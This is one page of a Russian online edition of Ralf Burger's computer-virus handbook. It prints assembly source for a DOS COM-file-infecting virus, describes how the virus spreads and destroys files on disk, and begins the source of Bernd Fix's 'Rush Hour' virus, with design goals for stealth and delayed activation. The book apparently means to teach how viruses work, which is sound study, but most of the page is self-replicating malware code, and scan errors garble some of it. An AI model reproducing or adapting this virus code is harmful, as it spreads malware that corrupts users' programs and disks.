Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)
Demon's Souls |#9| Heart of surprises

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Ральф Бургер Весь текст 616.55 Kb

Большой справочник по компьютерным вирусам

Предыдущая страница Следующая страница
1 ... 24 25 26 27 28 29 30  31 32 33 34 35 36 37 ... 53
              mov a1,1
              pop ds
               pop cs              ; восстановить дату
               int 21h
;*****************************************************************
;    Закрыть файл.
;*****************************************************************
               mov ah,3eh          ; закрыть файл
               int 21h
;*****************************************************************
;    Восстановить  прежний адрес перехода.  Соответственно,  вирус
;    сохраняет   по  адресу  переход,  который  стоял   в   начале
;    программы-носителя  вируса.  В  результате  работоспособность
;    программы-носителя удается сохранить, насколько это возможно.
;    Но после обращения к памяти работа продолжается с записанным
;    в  "вирусе" адресом перехода. Итак, "вирус"  располагается  в
;    оперативной  памяти  иначе,  чем в том  случае,  если  бы  он
;    копировался в программу.
;*****************************************************************
                mov  dx,cs:jmpbuf   ; восстановить  прежний  адрес
                                    ; перехода
                mov cs: conta,dx
hops:           nop

                           - 180 -
                call use_old
;*****************************************************************
;    Продолжить выполнение программ-носителя вируса.
;*****************************************************************

cont            db 0e9h            ; выполнить переход
conta           dw 0
                mov ah,00
                int 21h
;*****************************************************************
;    Вновь активизировать выбранный в начале программы дисковод.
;*****************************************************************

use_old:
                mov ah,0eh         ; использовать прежний дисковод
                mov d1,cs:drive
                int 21h
;*****************************************************************
;     Вновь  активизировать, выбранный в  начале  программы  путь
;     доступа
;*****************************************************************
               mov ah,3bh          ; использовать прежний каталог
               lea   dx,old_path-1 ; прочитать прежний путь
                                   ; доступа
               int 21h             ; и наклоную черту
               ret
search_order   db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer        dw 0000             ; указатель пути доступа
counter        dw 0000             ; счетчик числа поисков
disks          db 0                ; номер диска

maske_com      db "*.com",00       ; поиск сом-файла
maske_dir      db "*",00           ; поиск каталога
maske_exe      db 0ffh,0,0,0,0,0,00111111b
               db 0, "????????exe", 0, 0, 0, 0
               db 0, "????????com",0
maske_all      db 0ffh,0,0,0,0,0,00111111b
               db 0, "???????????", 0, 0, 0, 0
               db 0, "????????com",0

                           - 181 -

buffer         equ 0e000h          ; отвести место
buflen         equ 230h            ; длина вируса !!!!
                                   ; будьте внимательны
                                   ; при изменениях !!!!

jmpbuf         equ buffer+buflen   ; отвести место под jmp
path           db  " ",0           ; первый путь доступа
drive          db 0                ; актуальный дисковод
back_slash     db " "
old_path       db 32 dup(?)        ; прежний путь доступа

code           ends
               end            main


                     Характеристики программы

     Если  запускается  эта программа,  то  вначале  инфицируется
первый СОМ-файл в главном каталоге. В данном случае таким  файлом
является файл CHKDSK.COM.

Katalog von A:\

CHKDSK    COM    9947    4-22-85     12:00p
COMP      COM    3751    4-22-85     12:00p
DEBUG     COM   15611    4-22-85     12:00p
DISKCOMP  COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
SORT      EXE    1664    4-22-85     12:00p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
                 8 Dateien 268288 Bytes frei

     Каталог после вызова программы:

Katalog von A:\

CHKDSK    COM    9947    4-22-85     12:00p

                           - 182 -
COMP      COM    3751    4-22-85     12:00p
DEBUG     COM   15611    4-22-85     12:00p
DISKCOMP  COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
SORT      EXE    1664    4-22-85     12:00p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
                8 Dateien 268288 Bytes frei

     По  записям в каталоге нельзя увидеть никаких изменений.  Но
если  сделать шестнадцатиричную распечатку содержимого  программы
CHKDSK.COM, мы обнаружим запись байта идентификатора , который  в
данном случае состоит из трех операторов NOP (HEX 90).
     Шестнадцатиричная распечатка перед вызовом программы  выгля-
дит так:

     0100  e9 65 26 43 6F 6E 76 65 72 74 65 64 00 00 00 00
           .  e  &  C  o  n  v  e  r  t  e  d  .  .  .  .

     После вызова программы получим такую шестнадцатиричную  рас-
печатку:

     0100  90 90 90 B8 00 00 26 00 A3 A5 02 26 A3 A7 02 26 A2
       .  .  .  .  .  .  &  .  .  .    &  .  .  .   &  .

     Если такая инфицированная программа запускается, то  вначале
происходит "размножение" вируса, после завершения которого  даль-
нейший ход выполнения программы нельзя предсказать. После запуска
CHKDSK вначале отказывает система, что сопровождается рядом эффе-
ктов  на  экране дисплея. Теперь программа СОМР  также  заражена.
Процесс распространения инфекции продолжается до тех пор, пока не
будут заражены все СОМ-файлы. Следующий вызов программы  приводит
к изменениям в каталоге:

Katalog von A:\

CHKDSK    COM    9947    4-22-85     12:00p
COMP      COM    3751    4-22-85     12:00p
DEBUG     COM   15611    4-22-85     12:00p

                           - 183 -
DISKCOMР  COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
SORT      COM    1664    4-22-85     12:00p
SHARE     COM    8304    4-22-85     12:00p
SUBST     COM   16627    4-22-85     12:00p
                8 Dateien 268288 Bytes frei

     Как можно видеть, все файлы .ЕХЕ преобразованы в  СОМ-файлы,
а  потому также могут быть заражены вирусом. Кроме того,  задание
на выполнение манипуляций, присущих данному вирусу, может  разру-
шить секторы диска. После нескольких вызовов зараженных  программ
содержимое каталога А: будет выглядеть таким образом:

Katalog von A:\
               @'№ФI = <
             0428923032   5-10-96  5:37a
             _a  .е_07 . f_27836194  5-20-12  12:20a
                     2.8 Dateien 253952 Bytes frei

     Разрушение оказывается неустранимым, особенно если в главном
каталоге  первым  СОМ-файлом оказывается  файл  СOMMAND.COM.  При
каждой попытке выполнить начальную загрузку происходит разрушение
системы. Естественно, что перед отказом системы инфекция поражает
еще один файл.
     Вторая программа-вирус, приведенная в этой главе, составлена
Берндом Фиксом, который тоже уже долгое время занимается  пробле-
мами компьютерных вирусов. Речь идет об уже многократно упоминав-
шемся вирусе "Rush Houp" ("час пик").

             Назначение и структура вируса "час-пик"

     Программа-вирус "час пик" написана в качестве программы  для
демонстрации  действия компьютерных вирусов. Она убедительно  (но
достаточно безобидно для операционной системы) демонстрирует  тот
вред, который может нанести вирус. Опасность вирусов демонстриру-
ется  не  на примере уничтожения всех файлов  на  жестком  диске.
пользователю наглядно показывается, как коварно и незаметно может
распространяться  вирус  в ЭВМ. Потому при  разработке  программы
решающее значение имели следующие пункты:

                           - 184 -

1.   Вирус  должен был работать как можно незаметнее,  т.е.  без
     обращений  к дискетам или винчестеру, которые  внимательному
     (!!) пользователю кажутся нелогичными.
2.   Абсолютно все работавшие прежде на ЭВМ программы должны и  в
     дальнейшем работать нормально.
3.   Вирус должен размножаться контролируемым образом,  т.е.  он
     должен  "цепляться"  не к каждой программе,  не  обнаруживая
     своего  присутствия  тем, что  дискета/диск  начинает  вдруг
     заполняться.
4.   Вирус должен проявить свою активность лишь спустя определен-
     ное  время,  чтобы замаскировать источник  появления  вируса
     (т.е. программу, "занесшую" этот вирус).
5.    Активность вируса  не должна была ни в коей степени  повре-
     дить пользователю ПЭВМ в результате уничтожения программ или
     данных или в результате выполнения над ними каких-либо мани-
     пуляций.
     Вначале была идея создания вируса, который мог бы  присоеди-
няться  к  каждой работоспособной программе (.COM или  .ЕХЕ).  Но
затем от этого отказались по следующим причинам:

1.   Файлы .СОМ и .ЕХЕ различны по своей  структуре.  Программа-
     вирус должна различать эти два типа файлов и  адаптироваться
     к  их структуре. А это требует слишком много места в  памяти
     для вируса.
2.   Внедрение вируса во многие файлы заметна из-за увеличившейся
     потребности в памяти.
     Потому пошли по такому пути:
     Вирус внедряется только в одну определенную программу, необ-
ходимую  ПЭВМ,  т.е. в операционную систему или в ее  часть.  Для
таких  целей был внедрен драйвер клавиатуры  KEYBGR.COM.  Причина
этого  выбора  в том, что большинство совместимых с IBM  PC  ПЭВМ
работают  не с PC-DOS 2.0,  а с (почти!) идентичной системой  MS-
DOS 2.11. Этой операционной системой с соответствующим  драйвером
клавиатуры была снабжена "Оливетти М24", обладающая по  сравнению
с  IBM PC  более сложной клавиатурой. Следовательно, если  запус-
кать  драйвер клавиатуры на IBM, это будет чистым  расточительст-
вом, поскольку собственно необходимый для этой ПЭВМ драйвер зани-
мает  лишь 1543 байта, в то время как запускаемый  драйвер  имеет

                           - 185 -
длину  6459 байт. Следовательно, можно просто внедрить в  драйвер
IBM  программу-вирус и драйвер будет занимать примерно 2000 байт,
после  чего  его можно "дополнить" до "необходимых"  6459  байтов
(поместив,  например, сюда текст длиной 4500 байтов о вреде  ком-
пьютерных вирусов). Вирус готов!
     Вирус, если он в системе, при каждом генерируемом  пользова-
телем обращении к диску/винчестеру отыскивает в актуальном  ката-
логе  драйвер  клавиатуры. Инфицированный драйвер  отличается  от
"чистого"  по  времени  внесения  последнего  изменения  в   файл
KEYBGR.COM. Файл MS-DOS имеет время 9:00:03 (на дисплее это  выг-
лядит как  9:00), а инфицированный файл снабжается временем  вне-
сения изменения  9:00:00. Итак, это отличие можно установить лишь
при записи в каталоге без длительных обращений к дискетам.
       Вся прочая важная информация дается в комментариях:

             PAGE    72,132
             TITL    Virus "RUSH ROUR"         (p) foxi, 1986

             NAME    VIRUS

ABSO         SEGMENT AT 0
             ORG     4*10H
VIDEO_INT    DW      2 DUP (?)           ; вектор прерывания
                                         ; VIDEO
             ORG     4*21H
DOS_INT      DW      2 DUP (?)           ; DOS     -"-
             ORG     4*21H
ERROR_INT    DW      2 DUP (?)           ; ERROR   -"-
             ENDS

CODE         SEGMENT
             ASSUME  CS:CODE, DS:CODE, ES:CODE
             ORG     05CH
FSB          LABEL   BYTE
DRIVE        DB      ?
FSPEC        DB      11 DUP(' ')          ; имя файла
             ORG     6CH
FSIZE        DW      2 DUP (?)
FDATE        DW      ?                    ; дата внесения

                           - 186 -
                                          ; последней записи
FTIME        DW      ?                    ; время -"-  -"-
Предыдущая страница Следующая страница
1 ... 24 25 26 27 28 29 30  31 32 33 34 35 36 37 ... 53
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (1)

Реклама